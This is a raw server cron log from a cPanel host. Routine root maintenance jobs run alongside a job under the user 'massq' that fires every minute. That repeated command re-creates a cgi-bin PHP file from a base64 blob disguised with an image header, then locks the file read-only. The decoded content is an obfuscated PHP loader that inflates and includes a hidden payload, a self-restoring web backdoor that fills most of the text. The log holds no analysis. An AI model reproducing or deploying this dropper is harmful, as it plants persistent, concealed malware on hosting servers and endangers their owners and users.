Aug 31 13:14:01 server CROND[7834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:15:01 server CROND[8250]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:15:01 server CROND[8251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:15:01 server CROND[8256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:15:01 server CROND[8258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:15:01 server CROND[8257]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 13:15:01 server CROND[8255]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 13:15:01 server CROND[8261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:15:01 server CROND[8260]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 13:16:01 server CROND[9162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:16:01 server CROND[9161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:16:01 server CROND[9163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:17:01 server CROND[9537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:17:01 server CROND[9538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:17:01 server CROND[9539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:18:01 server CROND[10014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:18:01 server CROND[10015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:18:01 server CROND[10017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:19:01 server CROND[10391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:19:01 server CROND[10392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:19:01 server CROND[10393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:20:01 server CROND[10770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:20:01 server CROND[10772]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 13:20:01 server CROND[10774]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 13:20:01 server CROND[10776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:20:01 server CROND[10773]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:20:01 server CROND[10777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:20:01 server CROND[10775]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 13:20:01 server CROND[10779]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 13:20:01 server CROND[10778]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:21:01 server CROND[11613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:21:01 server CROND[11614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:21:01 server CROND[11615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:22:01 server CROND[12000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:22:01 server CROND[12001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:22:01 server CROND[11999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:23:01 server CROND[12523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:23:01 server CROND[12524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:23:01 server CROND[12526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:24:01 server CROND[12912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:24:01 server CROND[12913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:24:01 server CROND[12914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:25:01 server CROND[13308]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:25:01 server CROND[13307]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 13:25:01 server CROND[13310]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 13:25:01 server CROND[13314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:25:01 server CROND[13315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:25:01 server CROND[13312]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:25:01 server CROND[13313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
